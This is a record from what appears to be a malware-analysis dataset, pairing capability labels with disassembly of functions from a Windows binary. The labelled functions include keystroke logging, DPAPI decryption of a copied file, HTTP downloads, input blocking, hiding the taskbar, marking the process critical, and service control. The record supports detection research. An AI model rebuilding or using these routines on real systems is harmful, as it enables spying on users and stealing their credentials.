joyce8/EMBER2024-capa huggingface dataset:
Function at 0x443eb8
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe0
mov dword [esp], eax
xor ebx, ebx
call sub.kernel32.dll_GetCurrentThreadId_1
mov edi, eax
xor edx, edx
mov eax, 4
call fcn.004164bc
mov ebp, eax
cmp ebp, 0xffffffff
je 0x443f40
mov dword [esp + 4], 0x1c
lea eax, [esp + 4]
push eax
push ebp
call fcn.0041651c
test eax, eax
je 0x443f34
mov eax, dword [esp + 0xc]
cmp edi, eax
je 0x443f25
mov edx, dword [esp + 0x10]
cmp edx, dword [esp]
jne 0x443f25
push eax
push 0
push 0x1f03ff
call sub.kernel32.dll_OpenThread
mov esi, eax
test esi, esi
je 0x443f40
push esi
call sub.kernel32.dll_ResumeThread
push esi
call sub.kernel32.dll_CloseHandle_1
lea eax, [esp + 4]
push eax
push ebp
call fcn.00416540
test eax, eax
jne 0x443ef5
push ebp
call sub.kernel32.dll_CloseHandle_1
cmp eax, 1
sbb ebx, ebx
inc ebx
mov eax, ebx
add esp, 0x20
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x443f4c
Capabilities:
Suspend thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe4
mov edi, eax
xor ebx, ebx
xor edx, edx
mov eax, 4
call fcn.004164bc
mov ebp, eax
cmp ebp, 0xffffffff
je 0x443fb8
mov dword [esp], 0x1c
push esp
push ebp
call fcn.0041651c
cmp edi, dword [esp + 0xc]
jne 0x443fa1
mov eax, dword [esp + 8]
push eax
push 0
push 2
call sub.kernel32.dll_OpenThread
mov esi, eax
cmp esi, 0xffffffff
je 0x443fa1
mov bl, 1
push esi
call sub.kernel32.dll_SuspendThread
push esi
call sub.kernel32.dll_CloseHandle_1
push esp
push ebp
call fcn.00416540
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x443f78
push ebp
call sub.kernel32.dll_CloseHandle_1
mov eax, ebx
add esp, 0x1c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4446d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
mov eax, dword [ebp - 8]
call fcn.00405754
xor eax, eax
push ebp
push 0x444772
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [ebp - 8]
test eax, eax
je 0x44470b
sub eax, 4
mov eax, dword [eax]
mov esi, eax
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
cmp edi, 0xffffffff
je 0x444757
push 0
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 8]
call fcn.004057c4
push eax
push edi
call sub.kernel32.dll_WriteFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
cmp esi, dword [ebp - 0xc]
jne 0x444757
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x444779
lea eax, [ebp - 8]
mov edx, 2
call fcn.004052dc
ret
Function at 0x444784
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
xor eax, eax
push ebp
push 0x444875
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40000000
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x444848
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_GetFileSize_1
mov esi, eax
mov eax, esi
call fcn.00402ea0
mov ebx, eax
push 0
lea eax, [ebp - 0x14]
push eax
push esi
mov edi, ebx
push edi
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_ReadFile_1
lea eax, [ebp - 8]
mov edx, dword [ebp - 0x14]
call fcn.00405998
lea eax, [ebp - 8]
call fcn.004057c4
mov edx, eax
mov eax, edi
mov ecx, dword [ebp - 0x14]
call fcn.00403114
mov eax, ebx
call fcn.00402ebc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44484f
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_CloseHandle_1
ret

Function at 0x44d708
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00405754
mov eax, dword [ebp - 8]
call fcn.00405754
xor eax, eax
push ebp
push 0x44d7b2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
push eax
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x44d78e
mov dword [ebp - 0x10], pe_nt_image_headers32
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x110]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00405764
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov eax, dword [ebp + 8]
lea edx, [ebp - 0x110]
mov ecx, pe_nt_image_headers32
call fcn.00405528
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44d7b9
lea eax, [ebp - 8]
mov edx, 2
call fcn.004052dc
ret
Function at 0x44dac8
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
mov ebx, dword [ebp + 8]
add ebx, 0xffffffdc
xor eax, eax
push ebp
push 0x44dba0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, 0x44dbb4
mov edx, dword [0x496738]
call fcn.004055ec
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
call sub.kernel32.dll_LoadLibraryA
mov dword [ebx], eax
push 0x44dbc0
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov edx, dword [ebp + 8]
mov dword [edx - 0x28], eax
push 0x44dbcc
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov edx, dword [ebp + 8]
mov dword [edx - 0x1c], eax
push 0x44dbe4
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov edx, dword [ebp + 8]
mov dword [edx - 0x2c], eax
push 0x44dbfc
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov edx, dword [ebp + 8]
mov dword [edx - 0x30], eax
push 0x44dc10
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov edx, dword [ebp + 8]
mov dword [edx - 0x20], eax
push 0x44dc20
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov edx, dword [ebp + 8]
mov dword [edx - 0x34], eax
push 0x44dc30
mov eax, dword [ebx]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov edx, dword [ebp + 8]
mov dword [edx - 0x38], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x44dba7
lea eax, [ebp - 4]
call fcn.004052b8
ret
Function at 0x44eb74
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
test eax, 0x4000000
je 0x44eb89
or edx, 0x200
test eax, 0x20000000
je 0x44ebbc
test eax, 0x40000000
je 0x44eba8
test eax, 0x80000000
je 0x44eba3
or edx, 0x40
jmp 0x44ebe3
or edx, 0x20
jmp 0x44ebe3
test eax, 0x80000000
je 0x44ebb7
or edx, 0x80
jmp 0x44ebe3
or edx, 0x10
jmp 0x44ebe3
test eax, 0x40000000
je 0x44ebd4
test eax, 0x80000000
je 0x44ebcf
or edx, 4
jmp 0x44ebe3
or edx, 2
jmp 0x44ebe3
test eax, 0x80000000
je 0x44ebe0
or edx, 8
jmp 0x44ebe3
or edx, 1
mov eax, edx
pop ebp
ret 4
Function at 0x450da0
Capabilities:
Copy file
Delete file
Encrypt data using dpapi
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbcc
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x430], ebx
mov dword [ebp - 0x42c], ebx
mov dword [ebp - 0x428], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x14], ebx
mov ebx, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
mov eax, dword [ebp - 8]
call fcn.00405754
xor eax, eax
push ebp
push 0x450fe1
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.004052b8
push 0
push 0x1c
lea eax, [ebp - 0x424]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 0x428]
lea edx, [ebp - 0x424]
mov ecx, 0x400
call fcn.00405528
mov edx, dword [ebp - 0x428]
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 8]
call fcn.004055ec
lea eax, [ebp - 0x42c]
lea edx, [ebp - 0x424]
mov ecx, 0x400
call fcn.00405528
push dword [ebp - 0x42c]
push dword [ebp - 8]
push 0x450ff8
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.00405668
push 0
mov eax, dword [ebp - 0x14]
call fcn.00405764
push eax
mov eax, dword [ebp - 0x10]
call fcn.00405764
push eax
call sub.kernel32.dll_CopyFileA
test eax, eax
je 0x450fb6
mov ecx, dword [ebp - 0x14]
mov dl, 1
mov eax, dword [0x44fa90]
call fcn.0044fb48
mov edx, 0x451008
call fcn.004500d4
mov esi, eax
jmp 0x450f99
mov dl, 1
mov eax, dword [0x417178]
call fcn.0040440c
mov edx, 0x451028
mov eax, esi
call fcn.00450a38
mov edx, eax
mov eax, esi
call fcn.00450b54
mov edi, eax
mov eax, dword [edi + 4]
mov dword [ebp - 0x18], eax
mov eax, edi
mov edx, dword [eax]
call dword [edx]
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x24]
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call sub.crypt32.dll_CryptUnprotectData
lea eax, [ebp - 0xc]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x20]
call fcn.004053a8
push dword [ebx]
push dword [ebp - 4]
push 0x451040
mov eax, ebx
mov edx, 3
call fcn.00405668
push dword [ebx]
mov edx, 0x45104c
mov eax, esi
call fcn.00450a38
mov edx, eax
lea ecx, [ebp - 0x430]
mov eax, esi
call fcn.00450d44
push dword [ebp - 0x430]
push 0x451040
mov eax, ebx
mov edx, 3
call fcn.00405668
push dword [ebx]
mov edx, 0x451060
mov eax, esi
call fcn.00450a38
mov edx, eax
lea ecx, [ebp - 0x434]
mov eax, esi
call fcn.00450d44
push dword [ebp - 0x434]
push 0x451040
mov eax, ebx
mov edx, 3
call fcn.00405668
push dword [ebx]
push dword [ebp - 0xc]
push 0x451078
mov eax, ebx
mov edx, 3
call fcn.00405668
mov eax, esi
call fcn.00450d7c
mov eax, esi
call fcn.00450a2c
test al, al
je 0x450ea7
mov eax, dword [ebp - 0x14]
call fcn.00405764
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x450fe8
lea eax, [ebp - 0x434]
mov edx, 4
call fcn.004052dc
lea eax, [ebp - 0x14]
mov edx, 5
call fcn.004052dc
ret
Function at 0x45107c
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffaa8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x558], ecx
mov dword [ebp - 4], edx
mov edi, eax
xor eax, eax
push ebp
push 0x45117d
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x558]
mov eax, 0x451198
call fcn.0045db94
mov eax, dword [ebp - 0x558]
call fcn.00405764
push eax
call sub.wininet.dll_InternetOpenA
mov esi, eax
push 0
push 0
push 0
push 0
mov eax, edi
call fcn.00405764
push eax
push esi
call sub.wininet.dll_InternetOpenUrlA
mov edi, eax
test edi, edi
je 0x45115e
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x154]
call fcn.004036a0
mov edx, 1
lea eax, [ebp - 0x154]
call fcn.00403d64
call fcn.00402ffc
lea eax, [ebp - 8]
push eax
push 0x400
lea eax, [ebp - 0x554]
push eax
push edi
call sub.wininet.dll_InternetReadFile
push 0
lea edx, [ebp - 0x554]
mov ecx, dword [ebp - 8]
lea eax, [ebp - 0x154]
call fcn.004037f4
call fcn.00402ffc
cmp dword [ebp - 8], 0
jne 0x45110f
lea eax, [ebp - 0x154]
call fcn.00403814
call fcn.00402ffc
mov bl, 1
push edi
call sub.wininet.dll_InternetCloseHandle
push esi
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x451184
lea eax, [ebp - 0x558]
call fcn.004052b8
ret
Function at 0x4511a4
Capabilities:
Get token privileges

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x128], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x451314
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004052b8
mov eax, 0x320
call fcn.00402ea0
mov dword [ebp - 0xc], eax
lea eax, [ebp - 8]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
je 0x4512f3
lea eax, [ebp - 0x10]
push eax
push 0x320
mov eax, dword [ebp - 0xc]
push eax
push 3
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_GetTokenInformation
test eax, eax
je 0x4512f3
mov eax, 0xff
call fcn.00402ea0
mov ebx, eax
mov eax, 0xff
call fcn.00402ea0
mov esi, eax
mov eax, dword [ebp - 0xc]
mov edi, dword [eax]
dec edi
test edi, edi
jl 0x4512dd
inc edi
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x1c], 0xff
mov dword [ebp - 0x18], 0xff
lea eax, [ebp - 0x18]
push eax
push ebx
mov eax, dword [ebp - 0x14]
lea eax, [eax + eax*2]
mov edx, dword [ebp - 0xc]
lea eax, [edx + eax*4 + 4]
push eax
push 0
call sub.advapi32.dll_LookupPrivilegeNameA
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
push ebx
push 0
call sub.advapi32.dll_LookupPrivilegeDisplayNameA
mov eax, dword [ebp - 4]
push dword [eax]
push 0x45132c
lea eax, [ebp - 0x124]
mov edx, ebx
call fcn.00403e44
lea edx, [ebp - 0x124]
lea eax, [ebp - 0x24]
call fcn.0040551c
push dword [ebp - 0x24]
push 0x451338
push 0x451344
lea eax, [ebp - 0x128]
mov edx, esi
call fcn.004054b0
push dword [ebp - 0x128]
mov eax, dword [ebp - 4]
mov edx, 6
call fcn.00405668
inc dword [ebp - 0x14]
dec edi
jne 0x451248
mov eax, ebx
call fcn.00402ebc
mov eax, esi
call fcn.00402ebc
mov eax, dword [ebp - 0xc]
call fcn.00402ebc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x45131b
lea eax, [ebp - 0x128]
call fcn.004052b8
lea eax, [ebp - 0x24]
call fcn.004052b8
ret
Function at 0x4516e4
Capabilities:
Acquire debug privileges
Create thread
Find taskbar
Hide graphical window
Hide the windows taskbar
Power down monitor

Disassembly:
push ebx
push ecx
mov ebx, eax
test ebx, ebx
jne 0x4516f8
push 1
call sub.USER32.DLL_BlockInput
jmp 0x451886
cmp ebx, 1
jne 0x451709
push 0
call sub.USER32.DLL_BlockInput
jmp 0x451886
cmp ebx, 2
jne 0x451736
push 0
push 0
push 0x4518bc
push 0
push 0
push 0x4518d0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_EnableWindow
jmp 0x451886
cmp ebx, 3
jne 0x451763
push 0xffffffffffffffff
push 0
push 0x4518bc
push 0
push 0
push 0x4518d0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_FindWindowExA
push eax
call sub.user32.dll_EnableWindow
jmp 0x451886
cmp ebx, 4
jne 0x451781
push 0
push 0x4518d8
push 0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x451886
cmp ebx, 5
jne 0x45179f
push 5
push 0x4518d8
push 0
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x451886
cmp ebx, 6
jne 0x4517bf
push 2
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
jmp 0x451886
cmp ebx, 7
jne 0x4517df
push 0xffffffffffffffff
push 0xf170
push 0x112
push 0xffff
call sub.user32.dll_SendMessageA
jmp 0x451886
cmp ebx, 8
jne 0x451800
mov dl, 1
mov eax, 0x4518f0
call fcn.004513f4
push 0
push 0
push 1
call sub.ntdll.dll_RtlSetProcessIsCritical
jmp 0x451886
cmp ebx, 9
jne 0x45180c
call fcn.00451598
jmp 0x451886
cmp ebx, 0xa
jne 0x451818
call fcn.00451564
jmp 0x451886
cmp ebx, 0xb
jne 0x451824
call fcn.00451530
jmp 0x451886
cmp ebx, 0xc
jne 0x45183f
push 0
push 0
push 0x451904
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x451886
cmp ebx, 0xd
jne 0x45185a
push 8
push 0
push 0x451904
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_ShowWindow
jmp 0x451886
cmp ebx, 0xe
jne 0x451871
push 0
push 0
push 0
push 0x451914
call sub.winmm.dll_mciSendStringA
jmp 0x451886
cmp ebx, 0xf
jne 0x451886
push 0
push 0
push 0
push 0x451930
call sub.winmm.dll_mciSendStringA
cmp ebx, 0x10
jne 0x45189e
push esp
push 0
push 0
push 0x4515d4
push 0
push 0
call sub.kernel32.dll_CreateThread_1
cmp ebx, 0x11
jne 0x4518b6
push esp
push 0
push 0
push 0x45165c
push 0
push 0
call sub.kernel32.dll_CreateThread_1
pop edx
pop ebx
ret
Function at 0x4519a8
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
push esi
mov byte [ebp - 1], cl
mov esi, edx
mov ebx, eax
cmp bl, 0x90
jne 0x4519fd
push 0x90
call sub.user32.dll_GetKeyState
and ax, 1
cmp al, 1
sbb ebx, ebx
inc ebx
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_GetKeyboardState
test bl, bl
je 0x4519e8
and byte [ebp - 0x72], 0xfe
jmp 0x4519ec
or byte [ebp - 0x72], 1
lea eax, [ebp - 0x102]
push eax
call sub.user32.dll_SetKeyboardState
jmp 0x451a84
push 0
movzx eax, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov byte [ebp - 2], al
test si, si
jbe 0x451a84
mov eax, ebx
movzx eax, al
bt dword [0x490850], eax
jae 0x451a52
mov eax, dword [ebp + 8]
push eax
mov ecx, 1
movzx edx, byte [ebp - 2]
mov eax, ebx
call fcn.0045195c
pop ecx
cmp byte [ebp - 1], 0
je 0x451a7f
mov eax, dword [ebp + 8]
push eax
mov ecx, 3
movzx edx, byte [ebp - 2]
mov eax, ebx
call fcn.0045195c
pop ecx
jmp 0x451a7f
mov eax, dword [ebp + 8]
push eax
xor ecx, ecx
movzx edx, byte [ebp - 2]
mov eax, ebx
call fcn.0045195c
pop ecx
cmp byte [ebp - 1], 0
je 0x451a7f
mov eax, dword [ebp + 8]
push eax
mov ecx, 2
movzx edx, byte [ebp - 2]
mov eax, ebx
call fcn.0045195c
pop ecx
dec si
jne 0x451a12
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x451a8c
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, eax
push 0
movzx eax, bl
push eax
call sub.user32.dll_MapVirtualKeyA
and al, 0xff
mov edx, ebx
movzx edx, dl
bt dword [0x490850], edx
jae 0x451ac0
mov edx, dword [ebp + 8]
push edx
xor ecx, ecx
mov edx, eax
mov eax, ebx
call fcn.0045195c
pop ecx
pop ebx
pop ebp
ret
mov edx, dword [ebp + 8]
push edx
mov ecx, 2
mov edx, eax
mov eax, ebx
call fcn.0045195c
pop ecx
pop ebx
pop ebp
ret
Function at 0x45296c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 2
add esp, 0xfffff004
push eax
dec eax
jne 0x452975
mov eax, dword [ebp - 4]
add esp, 0xfffff8e4
push ebx
push esi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, dword [ebp - 4]
call fcn.00405754
mov eax, dword [ebp + 0xc]
call fcn.00405754
xor eax, eax
push ebp
push 0x452a38
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x10], 0x2710
mov eax, ebx
call fcn.004052b8
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
push esi
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x452a1a
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x2720]
push eax
lea eax, [ebp - 8]
push eax
push 0
mov eax, dword [ebp + 0xc]
call fcn.00405764
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x452a1a
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
lea edx, [ebp - 0x2720]
mov ecx, 0x2710
call fcn.00405528
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452a3f
lea eax, [ebp - 4]
call fcn.004052b8
lea eax, [ebp + 0xc]
call fcn.004052b8
ret

Function at 0x452c30
Capabilities:
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
xor eax, eax
push ebp
push 0x452d07
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0xc], eax
push 1
push 0
push 0
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
test ebx, ebx
jbe 0x452ce6
cmp edi, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x452c83
mov esi, 0x10
jmp 0x452c88
mov esi, 0x20
or esi, 4
push esi
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
push ebx
call sub.advapi32.dll_OpenServiceA
mov esi, eax
test esi, esi
jbe 0x452ce0
cmp dword [ebp - 8], 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x452cd0
cmp edi, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x452cc4
lea eax, [ebp - 0xc]
push eax
push 0
push esi
call sub.advapi32.dll_StartServiceA
jmp 0x452cd0
lea eax, [ebp - 0x28]
push eax
push 1
push esi
call sub.advapi32.dll_ControlService
lea eax, [ebp - 0x28]
push eax
push esi
call sub.advapi32.dll_QueryServiceStatus
push esi
call sub.advapi32.dll_CloseServiceHandle
push ebx
call sub.advapi32.dll_CloseServiceHandle
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x24]
call fcn.00452a48
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452d0e
lea eax, [ebp - 4]
call fcn.004052b8
ret
Function at 0x452d18
Capabilities:
Query service configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
mov eax, dword [ebp - 8]
call fcn.00405754
xor eax, eax
push ebp
push 0x452e24
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.004052b8
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
call sub.advapi32.dll_OpenSCManagerA
mov ebx, eax
test ebx, ebx
jbe 0x452e09
push 1
mov eax, dword [ebp - 8]
call fcn.00405764
push eax
push ebx
call sub.advapi32.dll_OpenServiceA
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jbe 0x452e09
lea eax, [ebp - 0x14]
push eax
push 0
push 0
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_QueryServiceConfigA
mov eax, dword [ebp - 0x14]
call fcn.00402e88
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x452df9
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_QueryServiceConfigA
test eax, eax
jne 0x452dd1
call fcn.00404cb4
jmp 0x452e09
mov eax, esi
mov edx, dword [ebp - 0x10]
mov edx, dword [edx + 0xc]
call fcn.004054b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452e00
mov edx, 0x24
mov eax, dword [ebp - 0x10]
call fcn.00402ebc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452e2b
lea eax, [ebp - 8]
mov edx, 2
call fcn.004052dc
ret

Function at 0x452e34
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00405754
mov eax, dword [ebp - 8]
call fcn.00405754
xor eax, eax
push ebp
push 0x452ec0
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x14], 0x400
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
push ebx
call sub.advapi32.dll_RegOpenKeyA
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.00405764
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov ebx, dword [ebp - 0x10]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x452ec7
lea eax, [ebp - 8]
mov edx, 2
call fcn.004052dc
ret